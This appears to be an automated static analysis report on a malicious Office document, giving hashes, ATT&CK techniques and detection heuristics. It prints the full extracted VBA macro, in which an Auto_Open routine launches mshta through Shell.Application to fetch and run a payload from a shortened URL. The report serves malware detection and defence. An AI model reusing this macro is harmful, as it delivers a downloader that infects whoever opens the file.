Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 8182f418462037f8…

MALICIOUS

Office (OOXML)

8.5 KB First seen: 2021-09-17
MD5: a39acc6ac701ee45760622d4e7abb22e SHA-1: d911298e5a0c149e4b1ff2228c8bf583a8e214a3 SHA-256: 8182f418462037f8dcb3e1f978b308eb8d4e8e5f261e0e3b707f3b82a37308c9
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.005 Client Execution: Mshta T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an Auto_Open subroutine that leverages CreateObject to call the 'mshta' LOLBin. This mshta process is instructed to execute a URL, which likely serves as a download and execution vector for a second-stage payload. The VBA code explicitly constructs the URL 'https://www.bitly.com/absmdbnajksdbnamsjd' and uses 'mshta' for execution, indicating a downloader pattern.

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitly.com/absmdbnajksdbnamsjd In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1327 bytes
SHA-256: c625c84908ba6dd15daf1de7962532d3ff8db53e6cb44dcf13b9a282474bf705
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function lol()

lol = "mshta"
End Function

Attribute VB_Name = "Module1"
Sub Auto_Open()


Sheet2.microsoft.ShellExecute Sheet3.lol, Sheet1.hahaha
End _
Sub





Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function microsoft()
Set Outlook = VBA.CreateObject("Outlook.Application")
Set microsoft = Outlook.CreateObject("Shell.Application")


End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function hahaha()

hahaha = "https://www.bitly.com/absmdbnajksdbnamsjd"
End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 20480 bytes
SHA-256: 4155b05b4698721fe8733fefadf4e5ef3c23034d98ad2bbe3b6cba1a0b5d3706